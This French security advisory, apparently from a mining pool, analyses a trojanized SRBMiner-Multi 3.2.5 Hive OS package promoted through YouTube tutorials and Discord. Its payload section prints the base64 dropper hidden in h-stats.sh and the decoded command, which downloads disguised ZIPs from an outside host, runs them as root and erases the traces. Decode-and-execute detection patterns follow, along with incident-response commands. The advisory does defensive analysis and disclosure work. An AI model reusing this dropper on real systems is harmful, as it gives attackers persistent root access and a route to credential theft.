Paquet SRBMiner 3.2.5 troyanisé dans la nature
Ce que les mineurs doivent savoir, dans l’ordre qui les intéresse
Une fausse archive SRBMiner-Multi est distribuée depuis miningrepositories.blog et miroitée sur le dépôt GitLab gitlab.com/hiveos-custom/m, promue par des tutoriels YouTube de la chaîne « Argenminer » avec des instructions de configuration posées sur anotepad.com. La charge utile dépose un second étage avec les droits root depuis novahash.de via le script de statistiques Hive OS, toutes les dix secondes ou presque. Ce qui, disons-le, manque pour le moins de discrétion.
La chaîne YouTube Argenminer a disparu.
À la suite des demandes de retrait coordonnées et des signalements que nous avons adressés à YouTube, la plateforme a supprimé l’intégralité de la chaîne Argenminer — toutes les vidéos tutorielles qui faisaient la promotion du paquet troyanisé, y compris celles liées dans cet avis (ID Id3nMIt18EE pour le tutoriel Vertcoin et xiA81jvYFJs pour celui de LuckyPepe), sont désormais hors ligne.
Le principal canal d’enrôlement de nouvelles victimes de la campagne est coupé. Le malware lui-même, le miroir GitLab, la note anotepad et novahash.de peuvent encore exister quelque part — et toute rig déjà compromise le reste, donc les consignes originales ci-dessous restent valables. Mais la chaîne YouTube qui était le visage public de cette campagne n’existe plus, et l’entonnoir de recrutement le plus efficace de l’acteur est mort.
N’essayez pas de nettoyer à la main. Reformatez le rig.
Le script h-stats.sh de cette archive s’exécute en tant que root à chaque poll de statistiques Hive OS — environ toutes les dix secondes, tant que le rig tourne. Il télécharge et exécute une charge de second étage, puis efface les artefacts visibles. Si vous supprimez les fichiers à la main, ils réapparaissent au poll suivant. Peu courtois, avouez-le.
À ce niveau de privilège, vous ne pouvez plus faire confiance à la machine. Vous devez réinstaller le rig depuis une image d’OS propre et faire tourner toutes les credentials qui ont touché cette machine — comptes de pool et clés API, clés SSH, graines de wallet stockées sur disque, sessions de navigateur sauvegardées, absolument tout. Vérifiez aussi tout autre appareil qui partage des credentials avec le rig touché : le mouvement latéral est un loisir très apprécié dans cette catégorie d’attaquants.
Nous comprenons que « reformater le rig » n’est pas la nouvelle qu’on souhaite apprendre un jeudi. C’est néanmoins la seule bonne réponse.
Auto-identification : si vous avez configuré un rig en suivant un tutoriel YouTube de la chaîne « Argenminer » (youtube.com/@Argenminer) pour miner C64Chain, Qubit (QTC), Vertcoin (VTC) ou LuckyPepe (LPEPE) à partir du 16 avril 2026 ; si le champ install_url de votre flightsheet pointe vers miningrepositories.blog ou gitlab.com/hiveos-custom/m ; si vous avez suivi les instructions d’une note anotepad.com (p. ex. anotepad.com/notes/a7ycensj) ; ou si quelqu’un vous a déposé l’un de ces liens dans l’un des Discords de ces pièces — c’est par ce chemin que l’archive est arrivée. Traitez le rig comme compromis et suivez les étapes ci-dessus.
Quelqu’un distribue un paquet SRBMiner-Multi 3.2.5 piégé depuis miningrepositories.blog et un miroir GitLab sur gitlab.com/hiveos-custom/m. La campagne est promue par des tutoriels YouTube de la chaîne « Argenminer », qui dépose les instructions de configuration (wallet, pool, install_url) sur des notes anotepad.com — p. ex. anotepad.com/notes/a7ycensj — et a visé jusqu’ici C64Chain, Qubit (QTC), Vertcoin (VTC) et LuckyPepe (LPEPE). Le binaire du mineur semble légitime et sert de couverture ; la partie malveillante est planquée dans h-stats.sh sous forme d’un bloc base64 qui, à chaque poll de statistiques Hive OS, télécharge deux « images » (en réalité des ZIP) depuis novahash.de, les extrait dans /etc/, exécute les scripts shell contenus en root, et nettoie derrière lui. Si vous avez installé cette archive sur un rig : reformatez. Bloquez novahash.de, miningrepositories.blog et gitlab.com/hiveos-custom/m au pare-feu. Téléchargez SRBMiner uniquement depuis github.com/doktor83/SRBMiner-Multi/releases et vérifiez le SHA256 contre la valeur publiée.
IOC — pour les pressés qui veulent juste grepper
Tout ce qu’il faut à un défenseur dans un seul bloc. Le détail vient plus loin, mais si vous êtes là pour auditer votre flotte, commencez ici.
miningrepositories.bloggitlab.com/hiveos-custom/m (chemins de contenu brut sous ce dépôt)
novahash.de
https://novahash.de/fileslab/recuaikaan.pnghttps://novahash.de/fileslab/mqtato-fla.jpg
https://miningrepositories.blog/srbminer-3.2.5.tar.gzhttps://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz
https://anotepad.com/notes/a7ycensj (dernière mise à jour observée le 19/04/2026 ; contenu susceptible d’être rotaté)
https://www.youtube.com/@ArgenminerVidéo connue :
https://www.youtube.com/watch?v=Id3nMIt18EE (« VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet. »)
/etc/recuaikaan.png/etc/recuaikaan.zip/etc/recuaikaan.sh/etc/mqtato-fla.jpg/etc/mqtato-fla.zip/etc/mqtato-fla.sh
9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06
fc2487ec223c91039748e53c08328af91260cd8c
Vecteur de distribution
Le paquet est proposé depuis deux points de distribution distincts contrôlés par l’attaquant — avec au moins une couche de staging supplémentaire sur un service public de type pastebin. Tous les trois hébergent le même srbminer-3.2.5.tar.gz troyanisé, et tous les trois sont choisis pour passer aux yeux d’un opérateur en quête de binaires de mineurs pour des ressources communautaires génériques :
- Blog de distribution d’origine :
https://miningrepositories.blog/srbminer-3.2.5.tar.gz— un nom de domaine choisi pour sonner comme un dépôt générique d’outils de minage. Pas un canal de distribution connu ni légitime pour SRBMiner. - Miroir GitLab (observé le 19/04/2026) :
https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz— exploite le nom d’hôte SaaS de confiance de GitLab pour donner au téléchargement un vernis de légitimité. Le dépôt est un compte jetable nommé pour ressembler à un dépôt officiel de custom miner Hive OS (il ne l’est pas). L’URL de contenu brut est exactement celle qui apparaît dans le flightsheet JSON que les victimes collent dans Hive OS. - Staging des instructions :
https://anotepad.com/notes/a7ycensj— une page publique et anonyme de type notepad hébergeant un flightsheet Hive OS JSON tout prêt (miner: custom,miner_alt: srbminer), l’identifiant de wallet CoinEx de l’attaquant, et uninstall_urlpointant vers le miroir GitLab ci-dessus. La note a été mise à jour pour la dernière fois le 19/04/2026 à 03h48 UTC — autrement dit, il s’agit d’une campagne en cours et activement entretenue, pas d’un instantané.
- Le choix de domaine / d’hôte (
miningrepositories.blog,gitlab.com/hiveos-custom/m) sonne plausible, mais ne correspond à aucun projet upstream ni dépôt communautaire connu. « Hiveos-custom » en particulier est un compte utilisateur, pas un espace de noms officiel Hive OS — et un véritable dépôt de custom miner ne se renommerait jamais en la seule lettrem. - Le numéro de version
3.2.5est étrangement ancien — le vrai SRBMiner-Multi est bien plus récent. « Vieux mais crédible » est un classique pour un paquet piégé, parce que ça n’invite pas à poser de questions sur la source. - Instructions de configuration hébergées sur une page pastebin publique anonyme plutôt que dans un README, un wiki de projet ou la page Getting Started d’un pool. C’est un anti-signal de confiance : l’attaquant peut faire tourner wallets, URLs de pool et
install_urls sans que personne ne s’en aperçoive, parce que personne ne relit un pastebin. - Le flightsheet utilise une URL de pool tiers réelle et légitime (au moment où on écrit,
vertcoin.cedric-crispin.com:3334) pour recouvrir davantage l’opération — le rig de la victime mine réellement des shares valides vers une adresse de dépôt d’exchange contrôlée par l’attaquant (CoinEx wal_id: 11032492). Si vous opérez un pool dont le nom d’hôte apparaît dans ce flightsheet, vous servez de décor : songez à dénoncer publiquement la note. - Le canal officiel de release, avec sommes SHA256 publiées, c’est github.com/doktor83/SRBMiner-Multi/releases. Tout « SRBMiner » venant d’ailleurs mérite la même méfiance qu’un inconnu qui vous tend un sandwich dans une gare.
Diffusion : tutoriels YouTube et distribution sur Discord (observé)
L’archive troyanisée n’attend pas, posée sur un domaine obscur, que quelqu’un tombe dessus par hasard. Elle est activement promue via des canaux dans lesquels les mineurs ont confiance, et la couche de promotion s’avère plus large et plus délibérée que ce que l’avis initial du 17 avril 2026 décrivait. Au 19 avril 2026, le tableau est le suivant :
- Chaîne YouTube : « Argenminer » (youtube.com/@Argenminer). Plusieurs tutoriels de configuration sont encore en ligne au moment où on écrit, chacun guidant le spectateur dans la création d’un flightsheet Hive OS pour une petite pièce différente. Chaque vidéo renvoie — soit dans sa description, soit dans un commentaire épinglé ou d’auteur — à une note
anotepad.comcontenant le flightsheet JSON complet, prêt à copier-coller. Le champinstall_urlde ce flightsheet est ce qui dépose l’archive troyanisée sur le rig du spectateur. Pièces visées confirmées à ce jour : C64Chain, Qubit (QTC), Vertcoin (VTC) et LuckyPepe (LPEPE). - Vidéos de tutoriel connues :
- VTC : youtube.com/watch?v=Id3nMIt18EE — « VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet. »
- LPEPE : youtube.com/watch?v=xiA81jvYFJs — « LUCKYPEPE! New GPU/CPU Mining Coin! HIVEOS Easy Flight Sheet Tutorial Pool & Wallet! »
- Note de staging anotepad :
https://anotepad.com/notes/a7ycensj(VTC) est celle que nous avons capturée ; d’autres notes propres à chaque pièce existent presque certainement pour C64Chain, QTC et LPEPE. La note VTC contient un flightsheet prêt à l’emploi avec le pool légitimevertcoin.cedric-crispin.com:3334dans le champurl, un identifiant de wallet (wal_id: 11032492) dans le champwal_id, etinstall_url: https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz. Le contenu de la note peut être modifié à tout moment ; c’est l’URL elle-même qui est l’IOC stable. - Distribution sur Discord. La même archive et/ou le lien anotepad ont été postés dans les canaux de minage du Discord C64Chain, du Discord Qubit (QTC) et — depuis la sortie des vidéos Argenminer sur VTC et LPEPE — vraisemblablement aussi dans les communautés Vertcoin et LuckyPepe. Chaque fois présentés comme un coup de pouce pour les nouveaux mineurs qui démarrent.
Chaque flightsheet Argenminer pointe vers un vrai pool tiers opérationnel, pour que le rig de la victime ait effectivement l’air de miner (exemples capturés : vertcoin.cedric-crispin.com:3334 pour VTC, et le pool lpepe.suprnova.cc de Suprnova lui-même dans le tutoriel LPEPE). Le pool, le nom du worker et l’identifiant de wallet dans le flightsheet sont tous du décor — la monétisation de l’attaquant, c’est le root sur le rig de la victime, pas le petit filet de frais de minage. Si vous opérez un pool dont le nom d’hôte apparaît dans un flightsheet lié depuis une vidéo Argenminer ou une note anotepad, vous n’êtes pas « infecté », mais vous êtes utilisé comme couche de légitimité pour la campagne de malware d’un autre. Envisagez de désavouer publiquement le flightsheet et de renvoyer vos utilisateurs vers cet avis. (Suprnova l’a fait pour le tutoriel LPEPE qui vise notre pool ; voir la vidéo LPEPE ci-dessus.)
Ce que cela dit du mode opératoire de l’attaquant
C’est de l’ingénierie sociale, pas un drive-by download. Chaque étape est choisie pour faire baisser la garde de la cible :
- Choisir de petites pièces avec des Discords actifs et un afflux régulier de nouveaux. C64Chain, QTC, une pièce de niche un peu plus ancienne comme Vertcoin, ou une micro-cap flambant neuve comme LuckyPepe (LPEPE) sont précisément le genre de cible où un nouveau mineur arrive dans le Discord, demande comment démarrer, et prend avec gratitude le premier lien qu’un bon samaritain lui tend. Les grosses pièces attirent plus de scrutin ; les petites, plus de confiance ; les toutes nouvelles, quasiment aucun scrutin.
- Produire un vrai tutoriel qui marche. Les vidéos YouTube montrent des rigs qui minent effectivement, parce que le binaire du mineur dans l’archive est un vrai mineur fonctionnel (couverture) et que le champ
urldu flightsheet pointe vers un vrai pool tiers opérationnel. La preuve visuelle est persuasive — une vidéo où défilent des shares acceptés vaut mille « fais-moi confiance ». - Détourner un hébergement de confiance. Faire pointer l’
install_urlvers une URL de contenu brut GitLab (gitlab.com/hiveos-custom/m), et poser le flightsheet JSON sur un service pastebin-adjacent (anotepad.com). L’hébergeur de téléchargement est de l’infrastructure de première classe ; l’hébergeur du flightsheet est un raccourcisseur d’URL sous un autre nom. Ni l’un ni l’autre ne se fera flagger par un nouveau venu curieux. - Accumuler la réputation d’abord, piocher ensuite. Une fois la vidéo en ligne, que d’autres vidéos la rejoignent sur la même chaîne, et que quelques commentaires du genre « ça a marché chez moi, merci ! » s’y ajoutent, le lien s’auto-entretient : chaque nouveau spectateur voit la preuve sociale avant de voir une raison de se méfier.
- Injecter dans les canaux de nouveaux. Poster le lien anotepad ou d’archive dans les canaux Discord où les débutants demandent de l’aide. La charge s’exécute dès le premier poll de statistiques ; l’attaquant n’a besoin de rien de plus que « suis le tutoriel ».
- Compter sur l’absence d’audit des archives et des flightsheets par les modérateurs. Quasiment aucun Discord de pièce n’a les moyens de reverse-engineerer chaque archive « utile » postée dans son canal de minage, ni de comparer le
wal_idd’un flightsheet partagé avec l’opérateur qui l’a posté. Un utilisateur sympa avec une chaîne YouTube passe pour un membre de la communauté, pas pour une menace. - Faire tourner les artefacts, garder le canal. La note anotepad peut être éditée à tout moment — identifiant de wallet, URL de pool,
install_url, tout peut changer en quelques secondes. La chaîne YouTube est l’actif durable ; le lien anotepad dans la description de chaque vidéo est l’aiguillage. Les takedowns des hébergeurs d’archives individuels ne cassent pas la campagne tant que la chaîne est debout.
Un tutoriel YouTube qui marche et un post Discord amical ne sont pas des signaux de confiance. La vidéo de l’attaquant montre presque certainement un rig qui mine correctement — parce qu’il le fait. Le dégât est dans h-stats.sh, qui tourne en root, sur le rig que le spectateur vient de configurer avec application. Pour les débutants : téléchargez les mineurs uniquement depuis le dépôt officiel du projet et vérifiez le SHA256 à chaque fois. Pour les Discord de pièces : envisagez un message épinglé en haut du canal de minage — « ne faites confiance à aucune archive postée ici qui ne vient pas du projet officiel ».
Si vous faites partie de la communauté C64Chain, Qubit (QTC), Vertcoin (VTC) ou LuckyPepe (LPEPE) et avez configuré un rig à partir de l’un des tutoriels Argenminer, ou passé le lien à un proche — partagez cet avis dans la communauté et considérez tout rig monté depuis l’un de ces guides comme compromis.
Contenu de l’archive
L’archive est une intégration Hive OS custom miner complète, avec en prime une intégration Minerstat (mmp-*) collée au passage. Les distributions authentiques livrent l’une ou l’autre, pas les deux — le simple fait de les trouver ensemble est déjà révélateur.
| Fichier | Taille | Statut |
|---|---|---|
h-manifest.conf | 616 o | Propre (altérations cosmétiques uniquement) |
h-run.sh | 764 o | Propre (altérations cosmétiques uniquement) |
h-config.sh | 205 o | Propre |
h-stats.sh | 8 646 o | MALVEILLANT — contient le dropper |
mmp-stats.sh | 4 116 o | Propre |
mmp-external.conf | 63 o | Propre (version incohérente) |
srbminer_bin | 20 309 184 o (~20 Mo) | Probablement authentique/quasi authentique (couverture) |
Indices de reconditionnement
Aucun des éléments ci-dessous n’est malveillant en soi — ce sont les détails diagnostiques qui trahissent que le paquet ne vient pas d’où il prétend venir :
- Commentaires en espagnol dans
h-run.sheth-manifest.conf— p. ex. « Verificar si ya está corriendo », « Cargar manifest », « Ejecutar el binario con parámetros », « Nombre del miner », « Ruta al archivo de configuración ». Les intégrations SRBMiner upstream sont en anglais. - Incohérence de version interne.
h-manifest.confdéclareCUSTOM_VERSION=3.2.5;mmp-external.confdéclareEXTERNAL_VERSION="2.6.8-custom". Les paquets authentiques sont cohérents en interne. Celui-ci peine à accorder ses violons. - Intégrations Hive et Minerstat livrées ensemble. L’upstream distribue l’une ou l’autre, jamais les deux.
- Binaire non stripé. Les binaires de release upstream sont stripés pour réduire la taille et compliquer l’analyse. Celui-ci ne l’est pas — signe que l’attaquant a recompilé depuis les sources plutôt que de repackager la release officielle.
La charge utile : h-stats.sh
L’essentiel de h-stats.sh est — à notre grand agacement — un parseur de stats Hive OS parfaitement fonctionnel. Il interroge l’API HTTP du mineur sur 127.0.0.1:$MINER_API_PORT, parse hashrate, shares, températures et vitesses de ventilateur pour les workers GPU et CPU, gère le minage mono- et dual-algorithme, et renvoie du JSON de stats valide à l’agent Hive. Ce n’est pas un détail : c’est la couverture. Si le script plantait, Hive afficherait le rig comme offline et l’opérateur investiguerait en quelques minutes.
Ajouté après la logique légitime de stats, avant les affectations de fallback, on trouve ce bloc :
p="bm9odXAgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhhc2guZGUvZmlsZXNsYWIvcmVjdWFpa2Fhbi5wbmcg
LU8gL2V0Yy9yZWN1YWlrYWFuLnppcCAmJiBzdWRvIHVuemlwIC1xIC1vIC9ldGMvcmVjdWFpa2Fhbi56aXAgLWQg
L2V0YyAmJiBzdWRvIGJhc2ggL2V0Yy9yZWN1YWlrYWFuLnNoIDsgc3VkbyB3Z2V0IC1xIGh0dHBzOi8vbm92YWhh
c2guZGUvZmlsZXNsYWIvbXF0YXRvLWZsYS5qcGcgLU8gL2V0Yy9tcXRhdG8tZmxhLnppcCAmJiB1bnppcCAtcSAt
byAvZXRjL21xdGF0by1mbGEuemlwIC1kIC9ldGMgJiYgYmFzaCAvZXRjL21xdGF0by1mbGEuc2ggOyBybSAvZXRj
L21xdGF0by1mbGEuemlwIDsgcm0gL2V0Yy9tcXRhdG8tZmxhLnNoIDsgcm0gL2V0Yy9yZWN1YWlrYWFuLnNoIDsg
cm0gL2V0Yy9yZWN1YWlrYWFuLnppcCA+IC9kZXYvbnVsbCAyPiYxICY="
nohup sh -c "$(echo "$p" | base64 -d)" > /dev/null 2>&1 &
Décodée, la charge base64 donne :
nohup sudo wget -q https://novahash.de/fileslab/recuaikaan.png -O /etc/recuaikaan.zip \
&& sudo unzip -q -o /etc/recuaikaan.zip -d /etc \
&& sudo bash /etc/recuaikaan.sh ; \
sudo wget -q https://novahash.de/fileslab/mqtato-fla.jpg -O /etc/mqtato-fla.zip \
&& unzip -q -o /etc/mqtato-fla.zip -d /etc \
&& bash /etc/mqtato-fla.sh ; \
rm /etc/mqtato-fla.zip ; rm /etc/mqtato-fla.sh ; \
rm /etc/recuaikaan.sh ; rm /etc/recuaikaan.zip > /dev/null 2>&1 &
Déroulement, étape par étape
- Deux fichiers « image » (
.pnget.jpg) sont récupérés parwgetdepuisnovahash.de. Les extensions image sont un camouflage : le contenu réel est constitué d’archives ZIP. Astuce classique pour passer sous les filtres d’egress naïfs qui inspectent scripts et archives mais laissent passer les images. - Chaque archive est écrite dans
/etc/, renommée en.zip, puis extraite sur place avecunzip -o(écrasement). - Chaque archive contient un script shell (
recuaikaan.sh,mqtato-fla.sh) qui est ensuite exécuté — le premier explicitement avecsudo, le second s’appuyant sur le contexte root déjà en place de l’agent Hive. - Les quatre artefacts (les deux
.zipet les deux.sh) sont ensuite supprimés de/etc/. Cela nettoie l’empreinte du dropper : une inspection post-mortem de/etc/ne trouve rien, alors que ce que les scripts de second étage ont installé ailleurs reste en place. - La chaîne complète tourne en arrière-plan via
nohup … &, sans bloquer ni retarder la sortie de stats légitime. Hive continue à voir un rig bien portant.
Pourquoi h-stats.sh est le site d’injection parfait
- Hive OS appelle
h-stats.shà intervalle court et fixe — typiquement toutes les dix secondes — pour récupérer les stats du mineur. - L’agent Hive tourne en root. Le compte
usera le sudo sans mot de passe. Chaquesudode la charge passe donc silencieusement, sans prompt ni entrée dans les logs d’authentification. - Le script tourne pendant toute la durée de vie du rig. Mise sous tension, réseau, mineur en marche, indéfiniment.
Ce que l’attaquant y gagne :
- Exécution automatique à l’installation. Aucune action utilisateur requise.
- Privilèges root sans aucun dialogue d’ingénierie sociale.
- Retry sur échec. Si
novahash.deest momentanément injoignable, le dropper réessaie dix secondes plus tard. - Infection auto-réparante. Si vous remarquez et supprimez manuellement les composants de second étage, ils sont redéposés au poll suivant, tant que
h-stats.shreste sur disque. C’est pourquoi le nettoyage manuel ne marche pas. - Silence.
>/dev/null 2>&1 &détache du terminal et avale toute sortie. Rien n’apparaît dans la vue stats de Hive ; rien n’est poussé sous le nez de l’utilisateur.
Imaginez quelqu’un qui glisse dans votre boîte aux lettres un billet disant « merci de laisser la porte de derrière ouverte », puis redépose le même billet toutes les dix secondes, pour toujours, en ramassant chaque fois le précédent. Vous ne pouvez pas gagner à ce jeu-là. Vous devez changer la serrure.
Le mineur de couverture : srbminer_bin
Le binaire inclus ressemble à un build SRBMiner-Multi légitime ou quasi légitime. Son rôle, du point de vue de l’attaquant, est d’être sans histoires :
- Fichier : ELF 64-bit LSB shared object, x86-64, lié dynamiquement.
- Taille : 20 309 184 octets (~20 Mo).
- SHA256 :
9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06 - BuildID :
fc2487ec223c91039748e53c08328af91260cd8c - Stripé : Non (atypique pour une release upstream — elles le sont).
- Chemins de build embarqués : référencent
/home/doktor/VSCode/SRBMiner-Multi/Libs/{clew,libmicrohttpd,libressl,hwloc}/linux, qui sont les vrais chemins de build de l’auteur de SRBMiner (doktor83). Cohérent avec une compilation depuis des sources authentiques ou légèrement modifiées. - URLs embarquées : aucune. Aucune référence à
novahash.deni aux noms de fichiers du dropper.
Le plan de l’attaquant dépend d’un mineur qui produit un hashrate et des shares plausibles pour que les dashboards Hive et Minerstat paraissent normaux et que l’opérateur n’ait aucune raison d’investiguer. Toute la fonctionnalité malveillante observée est dans h-stats.sh ; le binaire n’est pas le vecteur d’attaque.
Comparez le SHA256 du binaire aux hashes connus sur github.com/doktor83/SRBMiner-Multi/releases, ou soumettez le fichier à VirusTotal. Une divergence avec n’importe quel hash SRBMiner publié suffit à considérer le binaire comme suspect, indépendamment de ce qui est écrit ici.
Indicateurs de compromission complets
Réseau
- Domaine C2 du second étage :
novahash.de— à bloquer au pare-feu et au DNS https://novahash.de/fileslab/recuaikaan.pnghttps://novahash.de/fileslab/mqtato-fla.jpg- Domaine de distribution (origine) :
miningrepositories.blog - Miroir de distribution (GitLab) :
gitlab.com/hiveos-custom/m— concrètementhttps://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz - Page d’instructions contrôlée par l’attaquant :
https://anotepad.com/notes/a7ycensj(le contenu tourne ; l’URL est l’IOC stable)
Canal de promotion / d’ingénierie sociale
- Chaîne YouTube :
https://www.youtube.com/@Argenminer— plusieurs vidéos de tutoriel en ligne pour différentes petites pièces, chacune renvoyant à une note de staging anotepad propre à la pièce et, via elle, à l’archive troyanisée - Vidéo connue (VTC) :
https://www.youtube.com/watch?v=Id3nMIt18EE— « VERTCOIN ! Top GPU Mining | HIVEOS Easy Flight Sheet Tutorial Pool & Wallet. » - Vidéo connue (LPEPE) :
https://www.youtube.com/watch?v=xiA81jvYFJs— « LUCKYPEPE! New GPU/CPU Mining Coin! HIVEOS Easy Flight Sheet Tutorial Pool & Wallet! » - Communautés de pièces visées à ce jour : C64Chain, Qubit (QTC), Vertcoin (VTC), LuckyPepe (LPEPE)
- Identifiant de wallet dans le flightsheet VTC capturé : CoinEx,
wal_id: 11032492— à traiter comme du décor, pas comme un IOC financier de l’attaquant : le malware est un dropper en root, pas un cryptojacker, et les champs wallet/pool de la configuration de minage ne sont que du théâtre
Fichiers (artefacts du dropper)
Supprimés par le dropper après exécution — l’absence ne dédouane pas :
/etc/recuaikaan.png
/etc/recuaikaan.zip
/etc/recuaikaan.sh
/etc/mqtato-fla.jpg
/etc/mqtato-fla.zip
/etc/mqtato-fla.sh
Hashes de fichier
srbminer_binSHA256 :9d69228bce9ad3f1cde0f7fa0141e7588922227ee67b3c3f12788a0429909d06srbminer_binBuildID :fc2487ec223c91039748e53c08328af91260cd8c
Signatures de processus et de comportement
- Appels
wgetversnovahash.dedepuis le compte Hiveuserou root - Invocations
nohup sh -clancées depuish-stats.sh - Entrées
sudo bash /etc/*.shdans les logs sudo (si l’audit est activé) - Fichiers
.zip,.pngou.jpginhabituels dans/etc/à un moment quelconque
Signaux au niveau du paquet (pour repérer d’autres paquets troyanisés)
- Commentaires en espagnol dans des scripts d’intégration Hive ou Minerstat que l’upstream livre en anglais
- Incohérences de version entre fichiers manifeste
- Binaires de release non stripés
- Intégrations Hive et Minerstat réunies dans un même paquet
- Longues chaînes base64 dans un
h-*.shoummp-*.sh base64 -d | sh,base64 -d | bash,xxd -r -p | shou pipelines de décodage-et-exécution similaires dans les scripts de stats ou de run
Checklist de réponse aux incidents
Si vous avez installé ce paquet sur n’importe quel rig ou serveur, déroulez les étapes dans l’ordre. Avec un brin d’agacement. C’est la bonne posture.
Isoler
Déconnectez immédiatement le rig du réseau. Ne l’éteignez pas d’abord — l’état mémoire peut être utile, et certains mécanismes de persistance se déclenchent au boot.
Bloquer le C2 partout
Ajoutez novahash.de aux sinkholes DNS et aux listes de blocage du pare-feu sur tout le réseau, pas seulement sur le rig affecté. Le mouvement latéral est une possibilité : supposez que d’autres machines ont pu être touchées.
Snapshot pour la forensique (facultatif)
Si vous avez la patience, imagez le disque avant toute remise en état, et capturez la mémoire si vous disposez des outils. Sinon — très bien, passez à la remise en état.
Vérifier les artefacts du dropper
ls -la /etc/recuaikaan* /etc/mqtato* 2>/dev/null
Vérifier les indicateurs de rootkit userland
cat /etc/ld.so.preload # doit être vide ou inexistant
Chercher les fichiers récemment modifiés
find /etc /usr/local/bin /usr/local/sbin /root /tmp /var/tmp /dev/shm \
-mtime -30 -type f -ls 2>/dev/null
Auditer les mécanismes de persistance
crontab -l
for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/cron.d/ /var/spool/cron/
systemctl list-unit-files --state=enabled
systemctl list-timers --all
Traquer les backdoors SSH
find / -name "authorized_keys" 2>/dev/null -exec ls -la {} \; -exec cat {} \;
grep -E '^(PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile)' /etc/ssh/sshd_config
Vérifier les connexions sortantes
ss -tnp | grep -E '(srbminer|sh|wget|curl)'
Vérifier la persistance de second étage et l’exfiltration
Il ne s’agit pas d’un cryptojacker — l’attaquant cherche la persistance au niveau root et tout ce qu’elle lui permet ensuite : parcourir le disque à la recherche de fichiers de seed de wallet et de keystores, extraire les credentials de pool et les clés SSH des fichiers de configuration, pivoter vers d’autres machines du LAN, enrôler le rig dans un botnet ou un pool de proxys résidentiels. Cherchez les signes d’activité post-compromission : binaires cachés dans des chemins inhabituels, fichiers RC du shell modifiés (~/.bashrc, ~/.profile, /etc/profile.d/), nouveaux modules kernel, connexions sortantes inattendues vers des hôtes autres que votre pool, et tout processus non lancé par votre propre configuration de mineur qui tourne en root.
Lancer les scanners de rootkit
chkrootkit
rkhunter --check --skip-keypress
Relire les logs sudo
grep -E 'wget|bash /etc' /var/log/auth.log /var/log/secure 2>/dev/null
Si le moindre indicateur remonte — réinstaller. Point.
Un code userland qui tourne en root à court intervalle ne se nettoie pas de façon fiable à la main. Réinstallez l’OS du rig, faites tourner toutes les credentials ayant touché la machine (comptes de pool, clés SSH, graines de wallet stockées sur disque) et auditez tout appareil qui partageait des credentials avec le rig touché. Occasion rare de remettre à plat des choses qu’on repousse depuis longtemps.
Durcissement : comment ne pas se retrouver ici
Quelques habitudes qui auraient évité l’affaire. Rien de neuf, rien de passionnant ; l’objectif est justement que ce soit ennuyeux.
Pour SRBMiner, c’est github.com/doktor83/SRBMiner-Multi/releases. Pour tout autre mineur : la page officielle du projet sur GitHub — en général liée depuis la page Getting Started du pool. Le reste, c’est de l’hypothèse.
Les releases officielles publient des sommes. sha256sum sur le téléchargement, comparaison avec la valeur publiée. Huit secondes. Reformater un rig prend sensiblement plus longtemps.
Sauf s’ils viennent d’une source communautaire connue et de confiance. Les wrappers d’intégration de stats sont un terrain d’injection privilégié, précisément parce que personne ne les lit. C’est toute la raison pour laquelle on en est là.
30 secondes de less h-stats.sh avant de pointer un flight sheet sur un mineur custom. Longues chaînes encodées, appels réseau vers des domaines inconnus, écritures dans /etc/ ou /usr/local/ — chacun de ces signaux justifie à lui seul une pause.
Un rig n’a pas besoin d’atteindre des domaines arbitraires. Allowlist des IP du pool, blocage de tout le reste. Un rig correctement filtré ne peut pas se faire stager même si un script malveillant tourne, puisqu’il n’a aucune source où récupérer un second étage.
Un rig qui fait des requêtes HTTPS vers autre chose que votre pool est suspect par défaut. Ce n’est pas de la paranoia, c’est la détection la moins chère à mettre en place.
Sur Hive OS, l’agent Hive tourne en root et le compte user a sudo sans mot de passe. Tout script appelé par l’agent dispose donc effectivement des droits root. Restez-en conscient. Si votre framework supporte des utilisateurs de minage non privilégiés, utilisez-les.
Un mot de Suprnova
Les opérateurs de pools et leurs mineurs forment une cible de choix pour ce type d’attaque. Un mineur troyanisé sur un rig, ce n’est pas du cryptojacking — c’est pire. Dès que le dropper a les droits root, il peut parcourir le disque à la recherche de fichiers de seed de wallet et de keystores sauvegardés, extraire les credentials de pool et les clés SSH des fichiers de configuration, récupérer les sessions de navigateur, enrôler le rig dans un botnet ou un pool de proxys résidentiels, et pivoter vers le reste de votre infrastructure. L’enveloppe en forme de mineur n’est que le couvercle de la boîte ; ce qui intéresse réellement l’attaquant, c’est tout ce qu’il y a dedans. Nos utilisateurs sont en moyenne plus techniques, plus précieux et plus spécifiquement ciblés que la population générale des « gens qui téléchargent des choses » ; cette attention n’est pas, au final, un compliment.
Si vous tombez sur un téléchargement de mineur suspect, une archive inhabituelle, ou un DM Discord/Telegram vantant un mineur « custom » ou « patché » — transférez-le à admin@suprnova.cc ou déposez-le dans notre Discord. Nous regarderons, mettrons à jour ce bulletin si nécessaire, et avertirons la communauté. Ceinture, bretelles, et un soupçon de paranoia partagée — les trois piliers d’un rig de minage heureux.
L’essentiel
L’archive sur https://miningrepositories.blog/srbminer-3.2.5.tar.gz et la copie identique sur https://gitlab.com/hiveos-custom/m/-/raw/main/srbminer-3.2.5.tar.gz sont troyanisées. Le binaire du mineur sert de couverture ; la vraie charge vit dans h-stats.sh et contacte novahash.de toutes les dix secondes environ, en root, tant que le rig tourne.
La chaîne YouTube @Argenminer est la couche de promotion. Ses vidéos déroulent pas à pas la configuration d’un flightsheet Hive OS et renvoient — via une note anotepad.com — à l’install_url troyanisée. Si vous avez suivi un tutoriel Argenminer pour C64Chain, Qubit (QTC), Vertcoin (VTC) ou LuckyPepe (LPEPE) à partir du 16 avril 2026, traitez le rig comme compromis.
